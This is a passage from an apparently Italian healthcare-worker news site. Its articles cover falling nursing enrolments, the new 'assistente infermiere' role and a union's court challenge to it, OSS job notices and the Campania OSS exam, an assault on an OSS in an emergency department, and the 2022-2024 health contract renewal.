gli iscritti a Infermieristica. Entro il 2029 mancheranno 9mila infermieri, a rischio ospedali e cure. Non solo carenza di medici, ora a preoccupare è soprattutto la fuga dagli studi di Infermieristica. In Veneto i numeri delle immatricolazioni sono in netto calo e la tendenza rischia di trasformarsi in un'emergenza strutturale. Secondo il sindacato Nursind, senza l'ingresso di almeno mille nuovi infermieri l'anno, entro il 2029 la regione potrebbe ritrovarsi con un saldo negativo di oltre 9mila unità, costringendo alla chiusura di interi ospedali "spoke". I numeri del crollo All'Università di Padova si registrano 744 iscritti contro i 900 dello scorso anno, a fronte di 1. 150 posti disponibili. Peggio a Verona, con 503 iscritti su 830 ingressi (974 considerando anche Bolzano), e appena 195 immatricolati nella sede centrale, contro i 289 dell'anno precedente. A Vicenza, 73 studenti a fronte di 120 posti. Unica eccezione Trento, con 182 iscritti, in crescita rispetto ai 140 del 2024. Ma il problema è nazionale: a fronte di 20. 699 posti disponibili per il 2025/26, le domande di iscrizione si sono fermate a 19. 298. E solo il 70% degli studenti arriva alla laurea. L'allarme dei medici "Se il trend resta questo, in tre anni rischiamo davvero di chiudere qualche ospedale", avverte Angelo Paolo Dei Tos, presidente della Scuola di Medicina di Padova. Il nodo, secondo i docenti, è anche la nuova modalità di accesso a Medicina, che avrebbe attratto candidati altrimenti destinati a Infermieristica. "La nostra professione è ormai una missione - sottolinea Andrea Gregori, segretario regionale Nursind - ma di missionari ce ne sono pochi. Con stipendi medi di 1. 650 euro al mese, turni massacranti e responsabilità penali, il rischio è che sempre più giovani scelgano altre strade". La fuga, denunciano sindacati e medici, non riguarda solo le iscrizioni: già oggi oltre il 50% degli infermieri lascia il pubblico per il privato, attratti da retribuzioni più alte. Chi resta affronta condizioni difficili: turni notturni e festivi, aggressioni sempre più frequenti e stipendi giudicati non adeguati. "Una catastrofe", la definisce Dei Tos. "L'unica mossa possibile è alzare gli stipendi e ridare dignità alla professione. Senza, non ci sarà ricambio generazionale". --- > Il sindacato Nursing Up porta Governo e Regioni al Tar contro l'assistente infermiere: figura "rischiosa" per la sicurezza dei pazienti. - Published: 2025-09-13 - Modified: 2025-09-13 - URL: https://ossinreparto.it/news/2025/09/13/assistente-infermiere-nursing-up-ricorso-tar-governo-regioni/ - Categorie: Attualità - Tag: Assistente Infermiere Il sindacato Nursing Up porta Governo e Regioni al Tar contro l'assistente infermiere: figura "rischiosa" per la sicurezza dei pazienti. La battaglia contro l'introduzione della nuova figura dell'assistente infermiere si sposta nelle aule giudiziarie. Il sindacato Nursing Up ha infatti annunciato il ricorso al Tar del Lazio contro l'Accordo Governo-Regioni, con prima udienza fissata per il 21 settembre. "Si tratta di una scelta discutibile e dannosa - accusa il presidente Antonio De Palma - che compromette la sicurezza delle cure e mina l'equilibrio delle professioni sanitarie. Non risolve la carenza di personale, ma introduce confusione e rischi". Una professione a rischio svalutazione Secondo Nursing Up, la nuova figura non possiede competenze e formazione universitaria adeguate. Un "surrogato" a basso costo che, nelle parole del sindacato, rappresenta "fumo negli occhi per nascondere la mancanza strutturale di 175mila infermieri rispetto agli standard europei". De Palma parla senza mezzi termini di "roulette russa con la salute dei cittadini", denunciando una politica che preferisce scorciatoie anziché investire sulla professione infermieristica. L'ombra del crollo delle iscrizioni La protesta si intreccia con un altro dato allarmante: il calo delle immatricolazioni a Infermieristica. Per l'anno accademico 2025/26, a fronte di 20. 699 posti disponibili, le domande non hanno raggiunto quota 19mila. Nel 2010 erano oltre 46mila. Il rischio, secondo Nursing Up, è che alla fine del percorso universitario soltanto 10. 300 studenti arrivino alla laurea. Numeri insufficienti a colmare il vuoto lasciato dai pensionamenti e dall'abbandono verso il settore privato. La via giudiziaria Nursing Up è il primo sindacato ad aver impugnato l'introduzione dell'assistente infermiere davanti ai giudici amministrativi. Dopo scioperi, manifestazioni e trattative, la vertenza entra ora in tribunale. "Difendere la stabilità della professione significa difendere la qualità delle cure - conclude De Palma -. Non permetteremo che logiche di risparmio scarichino rischi e responsabilità su pazienti e professionisti. Governo e Regioni dovranno rispondere delle loro scelte". --- - Published: 2025-09-13 - Modified: 2025-09-13 - URL: https://ossinreparto.it/news/2025/09/13/rimini-oss-quartiere-anziani-disabili-assistenza/ - Categorie: Attualità - Tag: Lavorare come OSS Progetto OSS di quartiere a Rimini: supporto a domicilio per anziani e disabili, riduce isolamento e favorisce relazioni sociali. Attivo dal febbraio 2023, il progetto dell'OSS di quartiere promosso dal Comune di Rimini mostra risultati positivi, offrendo assistenza a persone anziane e disabili direttamente a domicilio e contribuendo a contrastare isolamento sociale e fragilità. Secondo i dati del Comune, ogni anno vengono assistiti in media 125 anziani e 20 persone con disabilità, con circa 90 ore di servizio per utente. L'obiettivo del progetto è duplice: favorire la permanenza a casa e creare relazioni significative tra cittadini. Organizzazione e attività Il servizio opera su dodici nodi territoriali della città, con sei operatori socio-sanitari dedicati a Rimini e altri tre a Bellaria, Bassa e Alta Val Marecchia. L'investimento annuo complessivo è di 450. 000 euro. Gli OSS accompagnano gli utenti a fare la spesa, recarsi in farmacia o in ambulatorio e partecipare a momenti di socialità. L'iniziativa ha favorito anche la nascita di gruppi attivi di anziani, come nel quartiere Colonnella, dove le persone si ritrovano regolarmente per attività conviviali e passeggiate. Eventi come il pranzo di Ferragosto hanno permesso di creare momenti di incontro e relazione per persone precedentemente isolate. Una nuova visione della sanità di prossimità "Un progetto che rispecchia il nuovo approccio sanitario, centrato sui bisogni delle persone più fragili e a rischio esclusione sociale", spiega Kristian Gianfreda, assessore alle Politiche per la protezione sociale e la salute del Comune di Rimini. Gli OSS di quartiere svolgono anche un ruolo di monitoraggio e supporto ai caregiver, aiutando chi vive in condizioni di fragilità e garantendo un presidio territoriale costante. --- > Nasce l’assistente infermiere: nuova figura tra Oss e infermiere per rafforzare ospedali, territorio e cure domiciliari - Published: 2025-09-13 - Modified: 2025-09-13 - URL: https://ossinreparto.it/news/2025/09/13/assistente-infermiere-ruolo-formazione/ - Categorie: Attualità - Tag: Assistente Infermiere Ruolo, formazione, compiti e opportunità dell'Assistente Infermiere nel rafforzare le équipe sanitarie e migliorare l'assistenza ai pazienti. In un contesto sanitario segnato da carenza di personale, invecchiamento della popolazione e aumento delle patologie croniche, arriva una novità destinata a cambiare gli equilibri dell'assistenza alla persona: con il DPCM del 28 febbraio 2025, pubblicato in Gazzetta Ufficiale, è stata istituita ufficialmente la figura dell'assistente infermiere. Chi è l'assistente infermiere L'assistente infermiere è una figura intermedia, a metà tra operatore socio-sanitario (Oss) e infermiere, con il compito di rafforzare le équipe sanitarie in ospedale, nei servizi domiciliari e nelle strutture residenziali. Nasce da un doppio accordo in Conferenza Stato-Regioni (3 ottobre e 18 dicembre 2024) e ha competenze definite dal decreto che stabilisce: il percorso formativo; i requisiti di accesso; gli ambiti operativi. Il suo ruolo è quello di affiancare l'infermiere in contesti a bassa discrezionalità decisionale, assumendo responsabilità su specifiche attività sanitarie e organizzative. I requisiti per diventare Assistente Infermiere sono: Oss diplomati con almeno 24 mesi di esperienza lavorativa; Oss senza diploma, ma con almeno 5 anni di esperienza negli ultimi 8 anni, previo corso propedeutico di 100 ore. Il corso dura da 6 a 12 mesi (minimo 500 ore), con tre moduli fondamentali: 200 ore di teoria (parametri vitali, gestione del dolore, cure di fine vita, terapie e relazioni professionali); 280 ore di tirocinio in strutture sanitarie accreditate; 20 ore di esercitazioni e simulazioni. La frequenza è obbligatoria e le assenze non possono superare il 10%. Al termine, un esame teorico-pratico consente di ottenere la qualifica, valida su tutto il territorio nazionale. L'assistente infermiere, come l'OSS, opera sotto la supervisione dell'infermiere e svolge attività quali: rilevazione dei parametri vitali e primi soccorsi; somministrazione di ossigeno e preparazione alle terapie; supporto gestionale e documentale; attività educative per favorire autonomia e benessere del paziente. La nuova figura prevede un aggiornamento annuale obbligatorio (almeno un'ora di formazione per ogni mese lavorato). Inoltre: la qualifica di Oss con formazione complementare è equipollente all'assistente infermiere; gli operatori già formati possono adeguarsi con corsi integrativi di almeno 30 ore. Una svolta per il servizio sanitario Il riconoscimento della figura dell'assistente infermiere rappresenta un'opportunità concreta per rafforzare il Servizio Sanitario Nazionale. Grazie a questo nuovo ruolo, sarà possibile: alleggerire il carico di lavoro di infermieri e medici; garantire continuità assistenziale nelle Case e Ospedali di Comunità; potenziare i servizi domiciliari e territoriali; ridurre il ricorso improprio agli ospedali, migliorando la presa in carico dei pazienti fragili. L'introduzione dell'assistente infermiere segna una svolta per il sistema sanitario italiano: una risposta concreta alla carenza di personale e una nuova opportunità di crescita professionale per migliaia di operatori socio-sanitari. --- > In Italia, al momento, nessun corso per Assistente Infermiere è autorizzato: diffidate da chi vende corsi non autorizzati, attenzione alle truffe. - Published: 2025-09-12 - Modified: 2025-09-12 - URL: https://ossinreparto.it/news/2025/09/12/corsi-assistente-infermiere-non-autorizzati-truffa/ - Categorie: Attualità - Tag: Assistente Infermiere, Corsi Assistente Infermiere In Italia, al momento, nessun corso per Assistente Infermiere è autorizzato: diffidate da chi vende corsi non autorizzati, attenzione alle truffe. Negli ultimi mesi, soprattutto in Sicilia e in altre regioni italiane, sono emersi numerosi corsi privati per diventare Assistente Infermiere. Tuttavia, è fondamentale sapere che nessuno di questi corsi è attualmente autorizzato dalle autorità competenti. La Regione Siciliana, ad esempio, non ha ancora adottato le linee guida necessarie per l'accreditamento degli enti formativi e l'organizzazione dei corsi. Perché diffidare di questi corsi? Al momento, non esiste alcuna normativa regionale che consenta l'attivazione legittima di corsi per Assistente Infermiere. Pertanto, qualsiasi attestato rilasciato da corsi non autorizzati è privo di valore legale. Promesse ingannevoli: Alcuni corsi promettono certificazioni ufficiali o posizioni lavorative in tempi brevi, sfruttando loghi istituzionali falsi o modificati. Queste offerte sono spesso truffe mirate a ottenere denaro senza fornire una formazione valida. Rischio di sanzioni: Partecipare a corsi non autorizzati può comportare conseguenze legali, inclusi procedimenti penali per truffa o falsificazione di documenti. Come proteggersi? Verifica sempre l'accreditamento: Controlla se l'ente che offre il corso è accreditato dalla Regione competente. In Sicilia, ad esempio, il CEFPAS è l'unico ente pubblico riconosciuto per la formazione sanitaria. Consulta fonti ufficiali: Visita i siti web delle Regioni e degli assessorati alla Salute per ottenere informazioni aggiornate e ufficiali sui corsi di formazione. Diffida da offerte sospette: Se un corso promette risultati rapidi o utilizza loghi istituzionali senza autorizzazione, è probabile che si tratti di una truffa. La formazione per diventare Assistente Infermiere è una questione seria e regolamentata. Attualmente, nessun corso è autorizzato a livello regionale. Pertanto, è essenziale diffidare di offerte che promettono formazione o certificazioni senza un riconoscimento ufficiale. Per evitare truffe e garantire una formazione valida, è consigliabile attendere l'adozione delle linee guida regionali e rivolgersi esclusivamente a enti accreditati. Restate informati e proteggetevi da offerte ingannevoli. --- - Published: 2025-09-11 - Modified: 2025-09-11 - URL: https://ossinreparto.it/news/2025/09/11/friuli-venezia-giulia-nuova-figura-assistente-infermieristico/ - Categorie: Assistenza alla Persona - Tag: Assistente Infermiere Il Friuli Venezia Giulia introduce la figura dell’assistente infermieristico, un nuovo ruolo tra Oss e infermieri per rafforzare l'assistenza a persone non autosufficienti. Una nuova figura professionale si prepara a entrare ufficialmente nel sistema sanitario del Friuli Venezia Giulia: l'assistente infermieristico. L'annuncio è arrivato dall'assessore regionale alla Salute, Riccardo Riccardi, durante un incontro con i presidenti degli Ordini delle professioni infermieristiche tenutosi nella sede della Protezione civile a Palmanova. Il nuovo profilo si collocherà a metà strada tra l'operatore sociosanitario (Oss) e l'infermiere, con l'obiettivo di fornire un sostegno mirato soprattutto all'assistenza delle persone non autosufficienti. "I dati mostrano una crescita del numero di Oss e, parallelamente, una diminuzione degli infermieri, ha spiegato Riccardi. Per questo riteniamo strategico introdurre questa nuova figura, in grado di rafforzare l'organizzazione e garantire una migliore distribuzione delle responsabilità". La Regione sta già lavorando alla definizione del percorso formativo, che sarà strutturato dall'Arcs in collaborazione con le aziende sanitarie e la Direzione lavoro, seguendo il modello già adottato per gli Oss. L'accesso sarà riservato agli operatori sociosanitari in servizio, che potranno ampliare le proprie competenze attraverso corsi specifici. Una volta formati, gli assistenti infermieristici potranno operare sia all'interno del Servizio sanitario regionale sia nelle strutture private e nelle residenze per anziani. Una novità che, nelle intenzioni della giunta regionale, punta a rispondere concretamente alle esigenze crescenti di assistenza, in particolare in un territorio caratterizzato da un progressivo invecchiamento della popolazione. --- > In Puglia 4.508 domande per 1.623 posti ai corsi di laurea delle professioni sanitarie. Fisioterapia il più richiesto, con 6,8 candidati per posto. - Published: 2025-09-11 - Modified: 2025-09-11 - URL: https://ossinreparto.it/news/2025/09/11/universita-puglia-corsi-professioni-sanitarie-fisioterapia-infermieri/ - Categorie: Attualità In Puglia 4.508 domande per 1.623 posti ai corsi di laurea delle professioni sanitarie. Fisioterapia il più richiesto, con 6,8 candidati per posto. Anche in Puglia si sono svolti i test di ammissione ai Corsi di Laurea delle Professioni Sanitarie, che includono infermieristica, fisioterapia, ostetricia e altri percorsi. Nelle tre Università pubbliche della regione - Bari, Foggia e Lecce - le domande sono state 4. 508 per soli 1. 623 posti disponibili, con un rapporto di 2,8 candidati per posto, ben superiore alla media nazionale di 1,8. Il dato regionale registra un lieve calo complessivo (-1,6% rispetto al 2024), ma con differenze significative tra gli Atenei. L'Università di Bari ha ricevuto 2. 552 domande (-5,2%) per 877 posti, con un rapporto di 2,9. In crescita, invece, Foggia (+4,1% con 1. 510 domande su 550 posti, rapporto 2,7) e Lecce (+1,3% con 446 domande su 196 posti, rapporto 2,3). Tra i corsi, Fisioterapia si conferma il più ambito: 1. 049 richieste (+8,9% rispetto allo scorso anno) per soli 155 posti, con un rapporto di 6,8 candidati per posto, superiore alla media nazionale (6,6). A livello nazionale, le domande complessive calano leggermente: 57. 985 per 33. 695 posti nelle 41 università statali (-1,5% sul 2024), mentre i posti disponibili crescono del 3,8%. In Puglia, dunque, il trend rispecchia quello nazionale, con una domanda comunque elevata e concentrata su corsi specifici come fisioterapia e infermieristica. --- > Il 9 settembre a Bologna giornata di orientamento per i corsi gratuiti OSS: 1.000 ore di formazione con stage e qualifica riconosciuta. - Published: 2025-09-11 - Modified: 2025-09-11 - URL: https://ossinreparto.it/news/2025/09/11/corsi-gratuiti-operatore-socio-sanitario-oss-2025/ - Categorie: Diventare OSS - Tag: Corsi OSS, Lavorare come OSS Il 9 settembre a Bologna giornata di orientamento per i corsi gratuiti OSS: 1.000 ore di formazione con stage e qualifica riconosciuta. Martedì 9 settembre, dalle 10 alle 12, presso Salaborsa Lab, Roberto Ruffilli (Vicolo Bolognetti 2), si terrà un incontro di orientamento dedicato alla professione di Operatore Socio Sanitario (OSS) e alla presentazione di due nuovi corsi gratuiti in partenza a ottobre. L'iniziativa è promossa da Insieme per il lavoro, la rete per l'inserimento sociale e lavorativo sostenuta dalla Città metropolitana e dal Comune di Bologna, con il supporto dell'Arcidiocesi e in collaborazione con la Regione Emilia-Romagna. Durante l'incontro verranno illustrate le caratteristiche della professione, le competenze richieste, le opportunità occupazionali e i dettagli dei percorsi formativi organizzati da Oasi Formazione e Seneca Srl Impresa sociale. Gli operatori presenti forniranno anche assistenza per la compilazione delle domande di iscrizione. I corsi OSS in sintesi Durata: 1. 000 ore (550 in aula e 450 di tirocinio) Tipologia: full time (Oasi Formazione) o part time pomeridiano (Seneca Srl) Requisiti: diploma di scuola secondaria di primo grado, buona conoscenza dell'italiano, residenza in Emilia-Romagna Frequenza: obbligatoria per almeno il 90% delle lezioni Qualifica rilasciata: Operatore Socio Sanitario (OSS) La partecipazione alla giornata è gratuita ma i posti sono limitati: per iscriversi è necessario compilare il form online. --- - Published: 2025-09-11 - Modified: 2025-09-11 - URL: https://ossinreparto.it/news/2025/09/11/selezione-oss-alunni-disabili-caltanissetta-2025/ - Categorie: Avvisi Pubblici, Concorsi, News Concorsi - Tag: Lavorare come OSS Il Comune di Caltanissetta seleziona 5 OSS per l'assistenza scolastica ad alunni disabili. Domande entro il 17 settembre 2025. Il Comune di Caltanissetta ha pubblicato un avviso per la selezione di 5 operatori socio-sanitari (OSS) con esperienza nell'assistenza a studenti disabili. Le figure individuate saranno impiegate negli istituti comprensivi statali cittadini, con l'obiettivo di garantire supporto integrativo agli alunni con disabilità grave. Gli OSS selezionati forniranno assistenza specifica, in particolare nell'alimentazione e nella cura personale in situazioni che richiedono competenze specialistiche non attribuibili al personale ATA. L'assessore alle Politiche sociali, Vincenzo Lo Muto, ha sottolineato il valore dell'iniziativa: "Un aiuto importante per gli alunni e le loro famiglie. Le esigenze sono superiori a quanto possiamo oggi garantire, ma intendiamo potenziare progressivamente il servizio". Dettagli dell'incarico Durata: dall'1 ottobre 2025 al 12 giugno 2026 Ore previste: massimo 489 (media 3 ore al giorno) Compenso: € 9. 998,07 omnicomprensivo Requisiti: qualifica OSS + almeno 2 anni di esperienza nell'assistenza ad alunni disabili Contratto: incarico di collaborazione professionale con partita IVA Modalità di candidatura Le istanze devono pervenire entro le ore 12:00 del 17 settembre 2025 tramite: PEC all'indirizzo: direzione. politiche. sociali@pec. comune. caltanissetta. it consegna a mano presso il protocollo del Comune. Obbligatorio l'utilizzo dei modelli allegati all'avviso (domanda e dichiarazione curriculum). La selezione avverrà sulla base di titoli ed esperienza; in caso di parità sarà data precedenza ai titoli di specializzazione o, se necessario, tramite sorteggio pubblico. La graduatoria finale avrà validità annuale e sarà pubblicata nella sezione "Bandi di concorso" del sito istituzionale del Comune di Caltanissetta. --- > Calano le domande ai test delle professioni sanitarie nonostante l'aumento dei posti. Infermieristica resta in crisi. - Published: 2025-09-10 - Modified: 2025-09-10 - URL: https://ossinreparto.it/news/2025/09/10/professioni-sanitarie-2025-piu-posti-meno-domande/ - Categorie: Attualità Calano le domande ai test delle professioni sanitarie nonostante l'aumento dei posti. Infermieristica resta in crisi. Più posti disponibili ma meno aspiranti candidati. È la fotografia che emerge dopo i test di ammissione ai corsi di laurea nelle professioni sanitarie, svolti lunedì 8 settembre in 41 atenei statali. Secondo i dati raccolti dal professor Angelo Mastrillo, docente dell'Università di Bologna, le domande presentate sono state poco meno di 58 mila, a fronte di 36. 943 posti a disposizione. Rispetto al 2024 si registra un calo contenuto (-1,5%), pari a 875 richieste in meno, ma la flessione conferma un trend di lungo periodo. Il rapporto tra domande e posti scende a 1,7 (era 1,8 lo scorso anno), segnale di un progressivo allentamento della pressione sui test. A crescere, invece, è l'offerta formativa, con un incremento del 3,8% dei posti messi a bando. Le preferenze degli studenti e le differenze territoriali Restano forti le attrattive per alcuni percorsi specifici: Fisioterapia guida la classifica con un rapporto di 6,5 candidati per posto (+9,7% di domande), seguita da Logopedia (+21%) e da Dietistica, Tecnico di Radiologia e Igienista dentale, tutti sopra la media nazionale. Bene anche Ostetricia, che pur in calo mantiene un rapporto di 3,4. In netta difficoltà, invece, i corsi più legati al cuore del Servizio sanitario nazionale. Infermieristica registra un crollo dell'11% (da 19. 421 a 17. 215 domande), con un rapporto domande/posti sotto l'unità (0,9). Male anche Assistente sanitario (-9,5%, D/P 0,4) e figure come tecnico ortopedico e audioprotesista, entrambe sotto lo 0,5. Non mancano le eccezioni. Sette regioni vanno in controtendenza, con aumenti significativi: spiccano Molise (+34%), Calabria (+8,6%), Sardegna (+7,2%, D/P 3,2, uno dei più alti) e Campania (+5,4%). In calo, invece, territori come Toscana (-8,4%), Liguria (-9%) ed Emilia-Romagna (-3,4%). Il progressivo disinteresse verso Infermieristica e altre professioni centrali rischia di aggravare una carenza di personale che già oggi rappresenta una delle emergenze del sistema sanitario. Parte dei posti vacanti potrà essere coperta tramite le seconde e terze scelte dei candidati e dagli esclusi dai corsi di Medicina e Odontoiatria, ma il problema resta strutturale. I dati completi verranno illustrati il 12 settembre alla Conferenza nazionale dei Corsi di Laurea delle Professioni Sanitarie. Ma il segnale è chiaro: senza un rafforzamento del riconoscimento economico e sociale di queste professioni, il ricambio generazionale rischia di non essere garantito, con ricadute dirette sulla tenuta della sanità pubblica e privata del Paese. --- > Pubblicata la banca dati del concorso OSS Regione Campania: 1.274 posti, prove dal 22 al 26 settembre. Scopri gli argomenti, le sedi e dove fare quiz online. - Published: 2025-08-07 - Modified: 2025-08-07 - URL: https://ossinreparto.it/news/2025/08/07/pubblicata-banca-dati-concorso-oss-campania-2025-quiz-ufficiali/ - Categorie: Concorsi, News Concorsi - Tag: Lavorare come OSS Pubblicata la banca dati ufficiale del concorso OSS Campania 2025 con 5.144 quiz. La prova scritta sarà a settembre. Attesa finita per migliaia di candidati: è stata pubblicata ufficialmente la banca dati del concorso per 1. 274 posti da Operatore Socio Sanitario (OSS), bandito dalla Regione Campania. La prova scritta è in calendario tra il 22 e il 26 settembre 2025, e si svolgerà in tre turni giornalieri presso due grandi strutture campane. Un passo decisivo per un concorso molto atteso, che si preannuncia tra i più partecipati dell'anno nell'ambito socio-sanitario. La banca dati ufficiale, scaricabile in formato PDF dai portali delle ASL capofila e dal sito InPA, raccoglie 5. 144 quesiti a risposta multipla. I candidati dovranno affrontare 30 domande in 30 minuti, selezionate casualmente da questo vasto archivio. Un dettaglio tecnico da non sottovalutare: in tutte le domande (del pdf) la risposta corretta corrisponde alla lettera "A". Un'indicazione utile per ottimizzare lo studio e orientare l'allenamento in vista della prova. Gli argomenti della prova Le domande spaziano su tematiche fondamentali per la professione dell'OSS. Tra le principali aree di contenuto: Tecniche di assistenza alla persona: igiene, alimentazione, mobilizzazione, supporto all'autonomia Anatomia e fisiologia Legislazione sanitaria e sociale Organizzazione dei servizi socio-sanitari Un mix che riflette le reali competenze richieste sul campo, in ospedale come nelle strutture residenziali. Le sedi delle prove: Palapartenope e Palavesuvio La prova scritta si svolgerà in due poli logistici distinti: Area 1 - Napoli: presso il Palapartenope, struttura già nota per precedenti concorsi regionali Area 2 - Salerno: presso il Palavesuvio Le convocazioni ufficiali, con la ripartizione dei candidati per giorno e turno, saranno rese pubbliche entro inizio settembre 2025 attraverso i siti istituzionali dell'ASL Napoli 1 Centro e dell'ASL Salerno, oltre che sulla piattaforma ministeriale InPA. Dove allenarsi: le piattaforme utili per i candidati Per affrontare al meglio la prova, è fondamentale esercitarsi sin da subito. Ecco tre strumenti online gratuiti e affidabili: Mininterno. netOffre quiz interattivi con correzione automatica e simulazioni personalizzate. Ideale per testare il livello di preparazione giorno dopo giorno. Concorsando. itUna app gratuita, intuitiva e aggiornata, pensata per lo studio "on the go". Permette di esercitarsi anche solo su singole materie. EdisesMette a disposizione un simulatore quiz professionale e una guida strategica allo studio. Ottimo per chi vuole approfondire anche la teoria. Il concorso per OSS rappresenta un'importante opportunità occupazionale per chi è in possesso dell'attestato di qualifica e del titolo di scuola media inferiore. Un'opportunità che, grazie alla pubblicazione della banca dati, entra ora nel vivo. L'appuntamento con la prova scritta è fissato. Ai candidati non resta che prepararsi con metodo, approfittando del tempo a disposizione e degli strumenti giusti. Resta aggiornato: nei prossimi giorni saranno pubblicati i calendari con i turni ufficiali. Segui i canali istituzionali per non perdere alcuna comunicazione. --- > Scopri le date della prova scritta OSS Campania 2025, 1.274 posti a tempo indeterminato e la banca dati ufficiale dal 7 agosto. - Published: 2025-07-26 - Modified: 2025-07-26 - URL: https://ossinreparto.it/news/2025/07/26/concorso-oss-campania-2025-date-prova-scritta-posti/ - Categorie: Concorsi, News Concorsi - Tag: Lavorare come OSS Scopri le date della prova scritta OSS Campania 2025, 1.274 posti a tempo indeterminato e la banca dati ufficiale dal 7 agosto. Il concorso pubblico per Operatori Socio Sanitari in Campania entra finalmente nella fase operativa. Le date della prova scritta sono state ufficializzate: si terrà nei giorni 22, 24, 25 e 26 settembre 2025, suddivisa in tre turni giornalieri. In palio ci sono 1. 274 posti a tempo indeterminato, distribuiti tra l'Area 1 (Napoli e provincia) e l'Area 2 (Salerno, Caserta, Avellino). La prova scritta si svolgerà in presenza presso tre sedi principali: la Mostra d'Oltremare di Napoli, il Palapartenope e il Palavesuvio di Ponticelli. Ogni candidato sarà convocato in base all'iniziale del proprio cognome, e l'elenco sarà pubblicato esclusivamente sui siti delle ASL capofila (Napoli 1 Centro e Salerno). Non sono previste comunicazioni individuali: l'avviso online ha valore di notifica ufficiale. Il 7 agosto verrà resa disponibile la banca dati ufficiale, composta da 5. 000 quiz a risposta multipla, consultabile per 45 giorni. I quesiti verranno estratti da questo database, quindi la preparazione dovrà concentrarsi su esercitazioni pratiche e simulazioni. La prova consisterà in 60 domande e il punteggio minimo per superarla è 21/30. Il risultato influenzerà in modo significativo la posizione in graduatoria, che sarà unica a livello regionale. È il momento giusto per intensificare lo studio. I candidati dovranno padroneggiare i principali contenuti teorico-pratici della professione OSS: tecniche assistenziali, igiene e sicurezza, normativa sanitaria, primo soccorso, relazione d'aiuto e deontologia. L'utilizzo quotidiano di simulatori online e manuali aggiornati si conferma la strategia più efficace per memorizzare i quiz e migliorare la gestione del tempo. Acquista il kit completo per prepararti ai quiz direttamente su Amazon cliccando qui (link all’acquisto). Concorso OSS Campania 2025: ecco le date ufficiali Il concorso pubblico per Operatori Socio Sanitari in Campania entra finalmente nella fase operativa con le date ufficiali della prova scritta. Prova scritta: 22, 24, 25 e 26 settembre 2025 Suddivisa in tre turni giornalieri Sedi: Mostra d'Oltremare di Napoli, Palapartenope e Palavesuvio di Ponticelli Convocazioni in base all’iniziale del cognome, elenco pubblicato sui siti ASL Napoli 1 Centro e Salerno (nessuna comunicazione individuale) Banca dati ufficiale: disponibile dal 7 agosto 2025 Composta da 5. 000 quiz a risposta multipla Consultabile per 45 giorni La prova conterrà 60 domande estratte da questa banca dati Punteggio minimo per superare: 21/30 Posti disponibili: 1. 274 a tempo indeterminato Distribuiti tra Area 1 (Napoli e provincia) e Area 2 (Salerno, Caserta, Avellino) Il concorso OSS Campania 2025 rappresenta una delle più importanti occasioni di inserimento lavorativo nel Servizio Sanitario Regionale. Con le date fissate e la banca dati in arrivo, una preparazione mirata può fare la differenza. Resta aggiornato sui portali ufficiali e organizza fin da subito un piano di studio strutturato: chi parte preparato, arriva più lontano. --- - Published: 2025-07-11 - Modified: 2025-07-11 - URL: https://ossinreparto.it/news/2025/07/11/buono-amazon-5-euro-oss/ - Categorie: Offerte - Tag: Offerte Amazon Amazon lancia un buono sconto per OSS su ordini da 15 euro. Scopri se il tuo account può attivarlo e risparmia su divise e accessori. Se sei un Operatore Socio Sanitario, sai bene quanto sia importante avere divise, accessori e materiali professionali di qualità senza spendere troppo. Per questo, la nuova promozione Amazon può fare davvero la differenza: un buono sconto di 5 euro valido su ordini minimi di 15 euro, perfetto per risparmiare sui tuoi acquisti essenziali. Ricevi subito il buono da 5 euro cliccando qui (link alla promozione) Amazon ha appena rilanciato questa offerta, ma non è disponibile per tutti. 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Secondo quanto riportato, l'OSS è stato improvvisamente aggredito dal paziente, che si è scagliato contro di lui senza alcun apparente motivo, colpendolo al volto con estrema violenza. L'operatore ha riportato lesioni al volto, la rottura degli occhiali e uno strappo ai capelli, conseguenze evidenti della violenta aggressione subita durante il turno serale. L'aggressore è stato successivamente calmato, ma l'accaduto ha lasciato sotto shock tutto il personale presente. Testimoni riferiscono che la violenza è esplosa senza preavviso, mettendo in pericolo non solo l'OSS ma anche gli altri presenti. La denuncia della CISL: "Nei Pronto Soccorso sicurezza azzerata" Durissima la reazione della CISL Salerno, che ha denunciato le gravi carenze organizzative e di sicurezza nei pronto soccorso, in particolare nei turni notturni e festivi. Secondo il sindacato, la situazione è ormai insostenibile: "Manca il personale, mancano misure attive di sicurezza, manca formazione per gestire pazienti aggressivi. Il personale sanitario viene lasciato solo. " La CISL ha chiesto un incontro urgente con la direzione dell'ASL e l'attivazione di un tavolo permanente sulla sicurezza negli ospedali. L'aggressione avvenuta nel Pronto Soccorso di Polla non rappresenta un caso isolato, ma si inserisce in un quadro ben più ampio e preoccupante di episodi violenti che, negli ultimi giorni, hanno colpito duramente il personale sanitario in diverse regioni d'Italia: due infermieri sono stati colpiti al volto all'ospedale Carlo Poma di Mantova, un altro è stato aggredito con un pugno a Montebelluna, mentre a Lanciano una sala d'attesa è stata devastata a calci e pugni da un paziente in escandescenze. Di fronte a questa escalation, i sindacati lanciano l'allarme parlando apertamente di una vera e propria emergenza nazionale, chiedendo con forza l'adozione di misure concrete e immediate: dall'aumento degli organici alla presenza costante di personale di sicurezza, fino all'introduzione di sistemi di videosorveglianza attiva, telecamere interne e bodycam individuali per tutelare gli operatori sanitari durante il servizio. La drammatica aggressione all'OSS di Polla è l'ennesimo campanello d'allarme. Chi lavora in sanità è sempre più esposto a rischi fisici, spesso senza tutele né strumenti per difendersi. La mancanza di prevenzione e vigilanza nei Pronto Soccorso italiani è sotto gli occhi di tutti. Serve una risposta concreta e immediata da parte delle istituzioni, perché la sicurezza degli operatori non può più essere rimandata o ignorata. --- > Firmato l'accordo per il Contratto Sanità 2022-2024, nonché per gli aumenti di stipendio per i sanitari e operatori socio sanitari. - Published: 2025-06-19 - Modified: 2025-06-19 - URL: https://ossinreparto.it/news/2025/06/19/operatore-socio-sanitario-aumento-stipendio/ - Categorie: Attualità - Tag: Assistente Infermiere, Lavorare come OSS Firmato l'accordo per il Contratto Sanità 2022-2024, nonché per gli aumenti di stipendio per i sanitari. È stato ufficialmente firmato il rinnovo del contratto collettivo nazionale di lavoro del Comparto Sanità per il triennio 2022-2024. L'accordo, sottoscritto tra l'ARAN (Agenzia per la Rappresentanza Negoziale delle Pubbliche Amministrazioni) e le principali sigle sindacali, introduce importanti novità economiche e normative per tutto il personale del Servizio Sanitario Nazionale, compresi infermieri, operatori socio-sanitari (OSS), professionisti sanitari e altre categorie. A sottoscrivere l’intesa sono stati FP CGIL, CISL FP, UIL FPL, Nursing Up, FIALS e FSI-USAE. L’adesione è stata ampia e condivisa, a conferma del valore dell’accordo raggiunto dopo mesi di confronto. Dal punto di vista economico, il rinnovo prevede un incremento medio mensile di circa 172 